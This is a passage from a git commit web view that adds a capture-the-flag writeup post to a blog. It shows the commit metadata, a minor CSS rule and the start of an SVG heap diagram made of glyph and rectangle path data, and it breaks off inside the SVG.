diff options
| author | Jakob L. Kreuze <zerodaysfordays@sdf.org> | 2022-02-21 14:29:01 -0500 |
|---|---|---|
| committer | Jakob L. Kreuze <zerodaysfordays@sdf.org> | 2022-02-21 14:32:15 -0500 |
| commit | 1cef2af664eeac654bfc19578bf751b48ba364bb (patch) | |
| tree | f466b231d10fbd9f50b31bb6bd9beb5d58a3b2be | |
| parent | 08c106d4fb44e132252e84d5154b27b3d4e7a420 (diff) | |
[org] new post: UMass CTF 2020 - suckless Writeup
| -rw-r--r-- | haunt/static/css/style.css | 6 | ||||
| -rw-r--r-- | haunt/static/image/MyrddinHeap.svg | 694 | ||||
| -rw-r--r-- | org/UMass CTF 2020 - suckless Writeup/MyrddinHeap.svg | 694 | ||||
| -rw-r--r-- | org/UMass CTF 2020 - suckless Writeup/umass-ctf-2020-writeup.org | 285 |
4 files changed, 1679 insertions, 0 deletions
diff --git a/haunt/static/css/style.css b/haunt/static/css/style.css index 8c70dac..f6a1c08 100644 --- a/haunt/static/css/style.css +++ b/haunt/static/css/style.css @@ -127,6 +127,12 @@ figure > img { border-radius: 2px; } +figure > .org-svg { + display: block; + max-width: 90%; + margin: auto; +} + figure > figcaption { padding-top: 1rem; } diff --git a/haunt/static/image/MyrddinHeap.svg b/haunt/static/image/MyrddinHeap.svg new file mode 100644 index 0000000..b5261bf --- /dev/null +++ b/haunt/static/image/MyrddinHeap.svg @@ -0,0 +1,694 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="368.902pt" height="242.225pt" viewBox="0 0 368.902 242.225" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d="M 4.578125 -3.1875 C 4.578125 -3.984375 4.53125 -4.78125 4.1875 -5.515625 C 3.734375 -6.484375 2.90625 -6.640625 2.5 -6.640625 C 1.890625 -6.640625 1.171875 -6.375 0.75 -5.453125 C 0.4375 -4.765625 0.390625 -3.984375 0.390625 -3.1875 C 0.390625 -2.4375 0.421875 -1.546875 0.84375 -0.78125 C 1.265625 0.015625 2 0.21875 2.484375 0.21875 C 3.015625 0.21875 3.78125 0.015625 4.21875 -0.9375 C 4.53125 -1.625 4.578125 -2.40625 4.578125 -3.1875 Z M 2.484375 0 C 2.09375 0 1.5 -0.25 1.328125 -1.203125 C 1.21875 -1.796875 1.21875 -2.71875 1.21875 -3.3125 C 1.21875 -3.953125 1.21875 -4.609375 1.296875 -5.140625 C 1.484375 -6.328125 2.234375 -6.421875 2.484375 -6.421875 C 2.8125 -6.421875 3.46875 -6.234375 3.65625 -5.25 C 3.765625 -4.6875 3.765625 -3.9375 3.765625 -3.3125 C 3.765625 -2.5625 3.765625 -1.890625 3.65625 -1.25 C 3.5 -0.296875 2.9375 0 2.484375 0 Z M 2.484375 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 4.75 -6.078125 C 4.828125 -6.1875 4.828125 -6.203125 4.828125 -6.421875 L 2.40625 -6.421875 C 1.203125 -6.421875 1.171875 -6.546875 1.140625 -6.734375 L 0.890625 -6.734375 L 0.5625 -4.6875 L 0.8125 -4.6875 C 0.84375 -4.84375 0.921875 -5.46875 1.0625 -5.59375 C 1.125 -5.65625 1.90625 -5.65625 2.03125 -5.65625 L 4.09375 -5.65625 C 3.984375 -5.5 3.203125 -4.40625 2.984375 -4.078125 C 2.078125 -2.734375 1.75 -1.34375 1.75 -0.328125 C 1.75 -0.234375 1.75 0.21875 2.21875 0.21875 C 2.671875 0.21875 2.671875 -0.234375 2.671875 -0.328125 L 2.671875 -0.84375 C 2.671875 -1.390625 2.703125 -1.9375 2.78125 -2.46875 C 2.828125 -2.703125 2.953125 -3.5625 3.40625 -4.171875 Z M 4.75 -6.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 2.890625 -3.515625 C 3.703125 -3.78125 4.28125 -4.46875 4.28125 -5.265625 C 4.28125 -6.078125 3.40625 -6.640625 2.453125 -6.640625 C 1.453125 -6.640625 0.6875 -6.046875 0.6875 -5.28125 C 0.6875 -4.953125 0.90625 -4.765625 1.203125 -4.765625 C 1.5 -4.765625 1.703125 -4.984375 1.703125 -5.28125 C 1.703125 -5.765625 1.234375 -5.765625 1.09375 -5.765625 C 1.390625 -6.265625 2.046875 -6.390625 2.40625 -6.390625 C 2.828125 -6.390625 3.375 -6.171875 3.375 -5.28125 C 3.375 -5.15625 3.34375 -4.578125 3.09375 -4.140625 C 2.796875 -3.65625 2.453125 -3.625 2.203125 -3.625 C 2.125 -3.609375 1.890625 -3.59375 1.8125 -3.59375 C 1.734375 -3.578125 1.671875 -3.5625 1.671875 -3.46875 C 1.671875 -3.359375 1.734375 -3.359375 1.90625 -3.359375 L 2.34375 -3.359375 C 3.15625 -3.359375 3.53125 -2.6875 3.53125 -1.703125 C 3.53125 -0.34375 2.84375 -0.0625 2.40625 -0.0625 C 1.96875 -0.0625 1.21875 -0.234375 0.875 -0.8125 C 1.21875 -0.765625 1.53125 -0.984375 1.53125 -1.359375 C 1.53125 -1.71875 1.265625 -1.921875 0.984375 -1.921875 C 0.734375 -1.921875 0.421875 -1.78125 0.421875 -1.34375 C 0.421875 -0.4375 1.34375 0.21875 2.4375 0.21875 C 3.65625 0.21875 4.5625 -0.6875 4.5625 -1.703125 C 4.5625 -2.515625 3.921875 -3.296875 2.890625 -3.515625 Z M 2.890625 -3.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d="M 2.9375 -1.640625 L 2.9375 -0.78125 C 2.9375 -0.421875 2.90625 -0.3125 2.171875 -0.3125 L 1.96875 -0.3125 L 1.96875 0 C 2.375 -0.03125 2.890625 -0.03125 3.3125 -0.03125 C 3.734375 -0.03125 4.25 -0.03125 4.671875 0 L 4.671875 -0.3125 L 4.453125 -0.3125 C 3.71875 -0.3125 3.703125 -0.421875 3.703125 -0.78125 L 3.703125 -1.640625 L 4.6875 -1.640625 L 4.6875 -1.953125 L 3.703125 -1.953125 L 3.703125 -6.484375 C 3.703125 -6.6875 3.703125 -6.75 3.53125 -6.75 C 3.453125 -6.75 3.421875 -6.75 3.34375 -6.625 L 0.28125 -1.953125 L 0.28125 -1.640625 Z M 2.984375 -1.953125 L 0.5625 -1.953125 L 2.984375 -5.671875 Z M 2.984375 -1.953125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d="M 4.46875 -2 C 4.46875 -3.1875 3.65625 -4.1875 2.578125 -4.1875 C 2.109375 -4.1875 1.671875 -4.03125 1.3125 -3.671875 L 1.3125 -5.625 C 1.515625 -5.5625 1.84375 -5.5 2.15625 -5.5 C 3.390625 -5.5 4.09375 -6.40625 4.09375 -6.53125 C 4.09375 -6.59375 4.0625 -6.640625 3.984375 -6.640625 C 3.984375 -6.640625 3.953125 -6.640625 3.90625 -6.609375 C 3.703125 -6.515625 3.21875 -6.3125 2.546875 -6.3125 C 2.15625 -6.3125 1.6875 -6.390625 1.21875 -6.59375 C 1.140625 -6.625 1.125 -6.625 1.109375 -6.625 C 1 -6.625 1 -6.546875 1 -6.390625 L 1 -3.4375 C 1 -3.265625 1 -3.1875 1.140625 -3.1875 C 1.21875 -3.1875 1.234375 -3.203125 1.28125 -3.265625 C 1.390625 -3.421875 1.75 -3.96875 2.5625 -3.96875 C 3.078125 -3.96875 3.328125 -3.515625 3.40625 -3.328125 C 3.5625 -2.953125 3.59375 -2.578125 3.59375 -2.078125 C 3.59375 -1.71875 3.59375 -1.125 3.34375 -0.703125 C 3.109375 -0.3125 2.734375 -0.0625 2.28125 -0.0625 C 1.5625 -0.0625 0.984375 -0.59375 0.8125 -1.171875 C 0.84375 -1.171875 0.875 -1.15625 0.984375 -1.15625 C 1.3125 -1.15625 1.484375 -1.40625 1.484375 -1.640625 C 1.484375 -1.890625 1.3125 -2.140625 0.984375 -2.140625 C 0.84375 -2.140625 0.5 -2.0625 0.5 -1.609375 C 0.5 -0.75 1.1875 0.21875 2.296875 0.21875 C 3.453125 0.21875 4.46875 -0.734375 4.46875 -2 Z M 4.46875 -2 "/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d="M 1.3125 -3.265625 L 1.3125 -3.515625 C 1.3125 -6.03125 2.546875 -6.390625 3.0625 -6.390625 C 3.296875 -6.390625 3.71875 -6.328125 3.9375 -5.984375 C 3.78125 -5.984375 3.390625 -5.984375 3.390625 -5.546875 C 3.390625 -5.234375 3.625 -5.078125 3.84375 -5.078125 C 4 -5.078125 4.3125 -5.171875 4.3125 -5.5625 C 4.3125 -6.15625 3.875 -6.640625 3.046875 -6.640625 C 1.765625 -6.640625 0.421875 -5.359375 0.421875 -3.15625 C 0.421875 -0.484375 1.578125 0.21875 2.5 0.21875 C 3.609375 0.21875 4.5625 -0.71875 4.5625 -2.03125 C 4.5625 -3.296875 3.671875 -4.25 2.5625 -4.25 C 1.890625 -4.25 1.515625 -3.75 1.3125 -3.265625 Z M 2.5 -0.0625 C 1.875 -0.0625 1.578125 -0.65625 1.515625 -0.8125 C 1.328125 -1.28125 1.328125 -2.078125 1.328125 -2.25 C 1.328125 -3.03125 1.65625 -4.03125 2.546875 -4.03125 C 2.71875 -4.03125 3.171875 -4.03125 3.484375 -3.40625 C 3.65625 -3.046875 3.65625 -2.53125 3.65625 -2.046875 C 3.65625 -1.5625 3.65625 -1.0625 3.484375 -0.703125 C 3.1875 -0.109375 2.734375 -0.0625 2.5 -0.0625 Z M 2.5 -0.0625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d="M 3.296875 2.390625 C 3.296875 2.359375 3.296875 2.34375 3.125 2.171875 C 1.890625 0.921875 1.5625 -0.96875 1.5625 -2.5 C 1.5625 -4.234375 1.9375 -5.96875 3.171875 -7.203125 C 3.296875 -7.328125 3.296875 -7.34375 3.296875 -7.375 C 3.296875 -7.453125 3.265625 -7.484375 3.203125 -7.484375 C 3.09375 -7.484375 2.203125 -6.796875 1.609375 -5.53125 C 1.109375 -4.4375 0.984375 -3.328125 0.984375 -2.5 C 0.984375 -1.71875 1.09375 -0.515625 1.640625 0.625 C 2.25 1.84375 3.09375 2.5 3.203125 2.5 C 3.265625 2.5 3.296875 2.46875 3.296875 2.390625 Z M 3.296875 2.390625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 2.21875 -1.71875 C 1.34375 -1.71875 1.34375 -2.71875 1.34375 -2.9375 C 1.34375 -3.203125 1.359375 -3.53125 1.5 -3.78125 C 1.578125 -3.890625 1.8125 -4.171875 2.21875 -4.171875 C 3.078125 -4.171875 3.078125 -3.1875 3.078125 -2.953125 C 3.078125 -2.6875 3.078125 -2.359375 2.921875 -2.109375 C 2.84375 -2 2.609375 -1.71875 2.21875 -1.71875 Z M 1.0625 -1.328125 C 1.0625 -1.359375 1.0625 -1.59375 1.21875 -1.796875 C 1.609375 -1.515625 2.03125 -1.484375 2.21875 -1.484375 C 3.140625 -1.484375 3.828125 -2.171875 3.828125 -2.9375 C 3.828125 -3.3125 3.671875 -3.671875 3.421875 -3.90625 C 3.78125 -4.25 4.140625 -4.296875 4.3125 -4.296875 C 4.34375 -4.296875 4.390625 -4.296875 4.421875 -4.28125 C 4.3125 -4.25 4.25 -4.140625 4.25 -4.015625 C 4.25 -3.84375 4.390625 -3.734375 4.546875 -3.734375 C 4.640625 -3.734375 4.828125 -3.796875 4.828125 -4.03125 C 4.828125 -4.203125 4.71875 -4.515625 4.328125 -4.515625 C 4.125 -4.515625 3.6875 -4.453125 3.265625 -4.046875 C 2.84375 -4.375 2.4375 -4.40625 2.21875 -4.40625 C 1.28125 -4.40625 0.59375 -3.71875 0.59375 -2.953125 C 0.59375 -2.515625 0.8125 -2.140625 1.0625 -1.921875 C 0.9375 -1.78125 0.75 -1.453125 0.75 -1.09375 C 0.75 -0.78125 0.890625 -0.40625 1.203125 -0.203125 C 0.59375 -0.046875 0.28125 0.390625 0.28125 0.78125 C 0.28125 1.5 1.265625 2.046875 2.484375 2.046875 C 3.65625 2.046875 4.6875 1.546875 4.6875 0.765625 C 4.6875 0.421875 4.5625 -0.09375 4.046875 -0.375 C 3.515625 -0.640625 2.9375 -0.640625 2.328125 -0.640625 C 2.078125 -0.640625 1.65625 -0.640625 1.578125 -0.65625 C 1.265625 -0.703125 1.0625 -1 1.0625 -1.328125 Z M 2.5 1.828125 C 1.484375 1.828125 0.796875 1.3125 0.796875 0.78125 C 0.796875 0.328125 1.171875 -0.046875 1.609375 -0.0625 L 2.203125 -0.0625 C 3.0625 -0.0625 4.171875 -0.0625 4.171875 0.78125 C 4.171875 1.328125 3.46875 1.828125 2.5 1.828125 Z M 2.5 1.828125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 3.78125 -0.546875 L 3.78125 0.109375 L 5.25 0 L 5.25 -0.3125 C 4.5625 -0.3125 4.46875 -0.375 4.46875 -0.875 L 4.46875 -6.921875 L 3.046875 -6.8125 L 3.046875 -6.5 C 3.734375 -6.5 3.8125 -6.4375 3.8125 -5.9375 L 3.8125 -3.78125 C 3.53125 -4.140625 3.09375 -4.40625 2.5625 -4.40625 C 1.390625 -4.40625 0.34375 -3.421875 0.34375 -2.140625 C 0.34375 -0.875 1.3125 0.109375 2.453125 0.109375 C 3.09375 0.109375 3.53125 -0.234375 3.78125 -0.546875 Z M 3.78125 -3.21875 L 3.78125 -1.171875 C 3.78125 -1 3.78125 -0.984375 3.671875 -0.8125 C 3.375 -0.328125 2.9375 -0.109375 2.5 -0.109375 C 2.046875 -0.109375 1.6875 -0.375 1.453125 -0.75 C 1.203125 -1.15625 1.171875 -1.71875 1.171875 -2.140625 C 1.171875 -2.5 1.1875 -3.09375 1.46875 -3.546875 C 1.6875 -3.859375 2.0625 -4.1875 2.609375 -4.1875 C 2.953125 -4.1875 3.375 -4.03125 3.671875 -3.59375 C 3.78125 -3.421875 3.78125 -3.40625 3.78125 -3.21875 Z M 3.78125 -3.21875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 1.71875 -3.765625 L 1.71875 -6.921875 L 0.28125 -6.8125 L 0.28125 -6.5 C 0.984375 -6.5 1.0625 -6.4375 1.0625 -5.9375 L 1.0625 0 L 1.3125 0 C 1.3125 -0.015625 1.390625 -0.15625 1.671875 -0.625 C 1.8125 -0.390625 2.234375 0.109375 2.96875 0.109375 C 4.15625 0.109375 5.1875 -0.875 5.1875 -2.15625 C 5.1875 -3.421875 4.21875 -4.40625 3.078125 -4.40625 C 2.296875 -4.40625 1.875 -3.9375 1.71875 -3.765625 Z M 1.75 -1.140625 L 1.75 -3.1875 C 1.75 -3.375 1.75 -3.390625 1.859375 -3.546875 C 2.25 -4.109375 2.796875 -4.1875 3.03125 -4.1875 C 3.484375 -4.1875 3.84375 -3.921875 4.078125 -3.546875 C 4.34375 -3.140625 4.359375 -2.578125 4.359375 -2.15625 C 4.359375 -1.796875 4.34375 -1.203125 4.0625 -0.75 C 3.84375 -0.4375 3.46875 -0.109375 2.9375 -0.109375 C 2.484375 -0.109375 2.125 -0.34375 1.890625 -0.71875 C 1.75 -0.921875 1.75 -0.953125 1.75 -1.140625 Z M 1.75 -1.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-11"> +<path style="stroke:none;" d="M 2.875 -2.5 C 2.875 -3.265625 2.765625 -4.46875 2.21875 -5.609375 C 1.625 -6.828125 0.765625 -7.484375 0.671875 -7.484375 C 0.609375 -7.484375 0.5625 -7.4375 0.5625 -7.375 C 0.5625 -7.34375 0.5625 -7.328125 0.75 -7.140625 C 1.734375 -6.15625 2.296875 -4.578125 2.296875 -2.5 C 2.296875 -0.78125 1.9375 0.96875 0.703125 2.21875 C 0.5625 2.34375 0.5625 2.359375 0.5625 2.390625 C 0.5625 2.453125 0.609375 2.5 0.671875 2.5 C 0.765625 2.5 1.671875 1.8125 2.25 0.546875 C 2.765625 -0.546875 2.875 -1.65625 2.875 -2.5 Z M 2.875 -2.5 "/> +</symbol> +<symbol overflow="visible" id="glyph0-12"> +<path style="stroke:none;" d="M 2.859375 -2.34375 C 3.15625 -2.71875 3.53125 -3.203125 3.78125 -3.46875 C 4.09375 -3.828125 4.5 -3.984375 4.96875 -3.984375 L 4.96875 -4.296875 C 4.703125 -4.28125 4.40625 -4.265625 4.140625 -4.265625 C 3.84375 -4.265625 3.3125 -4.28125 3.1875 -4.296875 L 3.1875 -3.984375 C 3.40625 -3.96875 3.484375 -3.84375 3.484375 -3.671875 C 3.484375 -3.515625 3.375 -3.390625 3.328125 -3.328125 L 2.71875 -2.546875 L 1.9375 -3.5625 C 1.84375 -3.65625 1.84375 -3.671875 1.84375 -3.734375 C 1.84375 -3.890625 2 -3.984375 2.1875 -3.984375 L 2.1875 -4.296875 C 1.9375 -4.28125 1.28125 -4.265625 1.109375 -4.265625 C 0.90625 -4.265625 0.4375 -4.28125 0.171875 -4.296875 L 0.171875 -3.984375 C 0.875 -3.984375 0.875 -3.984375 1.34375 -3.375 L 2.328125 -2.09375 L 1.390625 -0.90625 C 0.921875 -0.328125 0.328125 -0.3125 0.125 -0.3125 L 0.125 0 C 0.375 -0.015625 0.6875 -0.03125 0.953125 -0.03125 C 1.234375 -0.03125 1.65625 -0.015625 1.890625 0 L 1.890625 -0.3125 C 1.671875 -0.34375 1.609375 -0.46875 1.609375 -0.625 C 1.609375 -0.84375 1.890625 -1.171875 2.5 -1.890625 L 3.265625 -0.890625 C 3.34375 -0.78125 3.46875 -0.625 3.46875 -0.5625 C 3.46875 -0.46875 3.375 -0.3125 3.109375 -0.3125 L 3.109375 0 C 3.40625 -0.015625 3.96875 -0.03125 4.1875 -0.03125 C 4.453125 -0.03125 4.84375 -0.015625 5.140625 0 L 5.140625 -0.3125 C 4.609375 -0.3125 4.421875 -0.328125 4.203125 -0.625 Z M 2.859375 -2.34375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-13"> +<path style="stroke:none;" d="M 4.359375 -7.09375 C 4.421875 -7.234375 4.421875 -7.25 4.421875 -7.28125 C 4.421875 -7.390625 4.328125 -7.484375 4.21875 -7.484375 C 4.078125 -7.484375 4.03125 -7.375 4 -7.28125 L 0.609375 2.109375 C 0.5625 2.25 0.5625 2.265625 0.5625 2.296875 C 0.5625 2.40625 0.640625 2.5 0.75 2.5 C 0.890625 2.5 0.9375 2.390625 0.96875 2.296875 Z M 4.359375 -7.09375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-14"> +<path style="stroke:none;" d="M 1.90625 -3.765625 C 1.90625 -4.0625 1.671875 -4.296875 1.390625 -4.296875 C 1.09375 -4.296875 0.859375 -4.0625 0.859375 -3.765625 C 0.859375 -3.484375 1.09375 -3.234375 1.390625 -3.234375 C 1.671875 -3.234375 1.90625 -3.484375 1.90625 -3.765625 Z M 1.90625 -0.53125 C 1.90625 -0.8125 1.671875 -1.0625 1.390625 -1.0625 C 1.09375 -1.0625 0.859375 -0.8125 0.859375 -0.53125 C 0.859375 -0.234375 1.09375 0 1.390625 0 C 1.671875 0 1.90625 -0.234375 1.90625 -0.53125 Z M 1.90625 -0.53125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-15"> +<path style="stroke:none;" d="M 1.265625 -0.765625 L 2.328125 -1.796875 C 3.875 -3.171875 4.46875 -3.703125 4.46875 -4.703125 C 4.46875 -5.84375 3.578125 -6.640625 2.359375 -6.640625 C 1.234375 -6.640625 0.5 -5.71875 0.5 -4.828125 C 0.5 -4.28125 1 -4.28125 1.03125 -4.28125 C 1.203125 -4.28125 1.546875 -4.390625 1.546875 -4.8125 C 1.546875 -5.0625 1.359375 -5.328125 1.015625 -5.328125 C 0.9375 -5.328125 0.921875 -5.328125 0.890625 -5.3125 C 1.109375 -5.96875 1.65625 -6.328125 2.234375 -6.328125 C 3.140625 -6.328125 3.5625 -5.515625 3.5625 -4.703125 C 3.5625 -3.90625 3.078125 -3.125 2.515625 -2.5 L 0.609375 -0.375 C 0.5 -0.265625 0.5 -0.234375 0.5 0 L 4.203125 0 L 4.46875 -1.734375 L 4.234375 -1.734375 C 4.171875 -1.4375 4.109375 -1 4 -0.84375 C 3.9375 -0.765625 3.28125 -0.765625 3.0625 -0.765625 Z M 1.265625 -0.765625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-0"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph1-1"> +<path style="stroke:none;" d="M 3.328125 -3.015625 C 3.390625 -3.265625 3.625 -4.1875 4.3125 -4.1875 C 4.359375 -4.1875 4.609375 -4.1875 4.8125 -4.0625 C 4.53125 -4 4.34375 -3.765625 4.34375 -3.515625 C 4.34375 -3.359375 4.453125 -3.171875 4.71875 -3.171875 C 4.9375 -3.171875 5.25 -3.34375 5.25 -3.75 C 5.25 -4.265625 4.671875 -4.40625 4.328125 -4.40625 C 3.75 -4.40625 3.40625 -3.875 3.28125 -3.65625 C 3.03125 -4.3125 2.5 -4.40625 2.203125 -4.40625 C 1.171875 -4.40625 0.59375 -3.125 0.59375 -2.875 C 0.59375 -2.765625 0.703125 -2.765625 0.71875 -2.765625 C 0.796875 -2.765625 0.828125 -2.796875 0.84375 -2.875 C 1.1875 -3.9375 1.84375 -4.1875 2.1875 -4.1875 C 2.375 -4.1875 2.71875 -4.09375 2.71875 -3.515625 C 2.71875 -3.203125 2.546875 -2.546875 2.1875 -1.140625 C 2.03125 -0.53125 1.671875 -0.109375 1.234375 -0.109375 C 1.171875 -0.109375 0.953125 -0.109375 0.734375 -0.234375 C 0.984375 -0.296875 1.203125 -0.5 1.203125 -0.78125 C 1.203125 -1.046875 0.984375 -1.125 0.84375 -1.125 C 0.53125 -1.125 0.296875 -0.875 0.296875 -0.546875 C 0.296875 -0.09375 0.78125 0.109375 1.21875 0.109375 C 1.890625 0.109375 2.25 -0.59375 2.265625 -0.640625 C 2.390625 -0.28125 2.75 0.109375 3.34375 0.109375 C 4.375 0.109375 4.9375 -1.171875 4.9375 -1.421875 C 4.9375 -1.53125 4.859375 -1.53125 4.828125 -1.53125 C 4.734375 -1.53125 4.71875 -1.484375 4.6875 -1.421875 C 4.359375 -0.34375 3.6875 -0.109375 3.375 -0.109375 C 2.984375 -0.109375 2.828125 -0.421875 2.828125 -0.765625 C 2.828125 -0.984375 2.875 -1.203125 2.984375 -1.640625 Z M 3.328125 -3.015625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-2"> +<path style="stroke:none;" d="M 3.65625 -3.984375 L 4.515625 -3.984375 C 4.71875 -3.984375 4.8125 -3.984375 4.8125 -4.1875 C 4.8125 -4.296875 4.71875 -4.296875 4.546875 -4.296875 L 3.71875 -4.296875 L 3.921875 -5.4375 C 3.96875 -5.640625 4.109375 -6.34375 4.171875 -6.46875 C 4.25 -6.65625 4.421875 -6.8125 4.640625 -6.8125 C 4.671875 -6.8125 4.9375 -6.8125 5.125 -6.625 C 4.6875 -6.59375 4.578125 -6.234375 4.578125 -6.09375 C 4.578125 -5.859375 4.765625 -5.734375 4.953125 -5.734375 C 5.21875 -5.734375 5.5 -5.96875 5.5 -6.34375 C 5.5 -6.796875 5.046875 -7.03125 4.640625 -7.03125 C 4.296875 -7.03125 3.671875 -6.84375 3.375 -5.859375 C 3.3125 -5.65625 3.28125 -5.546875 3.046875 -4.296875 L 2.359375 -4.296875 C 2.15625 -4.296875 2.046875 -4.296875 2.046875 -4.109375 C 2.046875 -3.984375 2.140625 -3.984375 2.328125 -3.984375 L 2.984375 -3.984375 L 2.25 -0.046875 C 2.0625 0.921875 1.890625 1.828125 1.375 1.828125 C 1.328125 1.828125 1.09375 1.828125 0.890625 1.640625 C 1.359375 1.609375 1.453125 1.25 1.453125 1.109375 C 1.453125 0.875 1.265625 0.75 1.078125 0.75 C 0.8125 0.75 0.53125 0.984375 0.53125 1.359375 C 0.53125 1.796875 0.96875 2.046875 1.375 2.046875 C 1.921875 2.046875 2.328125 1.453125 2.5 1.078125 C 2.828125 0.453125 3.046875 -0.75 3.0625 -0.828125 Z M 3.65625 -3.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-3"> +<path style="stroke:none;" d="M 2.375 -6.8125 C 2.375 -6.8125 2.375 -6.921875 2.25 -6.921875 C 2.03125 -6.921875 1.296875 -6.84375 1.03125 -6.8125 C 0.953125 -6.8125 0.84375 -6.796875 0.84375 -6.625 C 0.84375 -6.5 0.9375 -6.5 1.09375 -6.5 C 1.5625 -6.5 1.578125 -6.4375 1.578125 -6.328125 C 1.578125 -6.265625 1.5 -5.921875 1.453125 -5.71875 L 0.625 -2.46875 C 0.515625 -1.96875 0.46875 -1.796875 0.46875 -1.453125 C 0.46875 -0.515625 1 0.109375 1.734375 0.109375 C 2.90625 0.109375 4.140625 -1.375 4.140625 -2.8125 C 4.140625 -3.71875 3.609375 -4.40625 2.8125 -4.40625 C 2.359375 -4.40625 1.9375 -4.109375 1.640625 -3.8125 Z M 1.453125 -3.046875 C 1.5 -3.265625 1.5 -3.28125 1.59375 -3.390625 C 2.078125 -4.03125 2.53125 -4.1875 2.796875 -4.1875 C 3.15625 -4.1875 3.421875 -3.890625 3.421875 -3.25 C 3.421875 -2.65625 3.09375 -1.515625 2.90625 -1.140625 C 2.578125 -0.46875 2.125 -0.109375 1.734375 -0.109375 C 1.390625 -0.109375 1.0625 -0.375 1.0625 -1.109375 C 1.0625 -1.3125 1.0625 -1.5 1.21875 -2.125 Z M 1.453125 -3.046875 "/> +</symbol> +</g> +<clipPath id="clip1"> + <path d="M 255 142 L 368.902344 142 L 368.902344 157 L 255 157 Z M 255 142 "/> +</clipPath> +<clipPath id="clip2"> + <path d="M 255 170 L 368.902344 170 L 368.902344 186 L 255 186 Z M 255 170 "/> +</clipPath> +<clipPath id="clip3"> + <path d="M 255 198 L 368.902344 198 L 368.902344 214 L 255 214 Z M 255 198 "/> +</clipPath> +<clipPath id="clip4"> + <path d="M 255 227 L 368.902344 227 L 368.902344 242 L 255 242 Z M 255 227 "/> +</clipPath> +</defs> +<g id="surface1"> +<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.00021875 0.0006875 L 0.00021875 28.348344 L 5.668188 28.348344 L 5.668188 0.0006875 Z M 0.00021875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 5.668188 0.0006875 L 5.668188 28.348344 L 11.340063 28.348344 L 11.340063 0.0006875 Z M 5.668188 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11.340063 0.0006875 L 11.340063 28.348344 L 17.008031 28.348344 L 17.008031 0.0006875 Z M 11.340063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 17.008031 0.0006875 L 17.008031 28.348344 L 22.676 28.348344 L 22.676 0.0006875 Z M 17.008031 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.676 0.0006875 L 22.676 28.348344 L 28.347875 28.348344 L 28.347875 0.0006875 Z M 22.676 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.347875 0.0006875 L 28.347875 28.348344 L 34.015844 28.348344 L 34.015844 0.0006875 Z M 28.347875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 34.015844 0.0006875 L 34.015844 28.348344 L 39.683813 28.348344 L 39.683813 0.0006875 Z M 34.015844 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 39.683813 0.0006875 L 39.683813 28.348344 L 45.355688 28.348344 L 45.355688 0.0006875 Z M 39.683813 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path 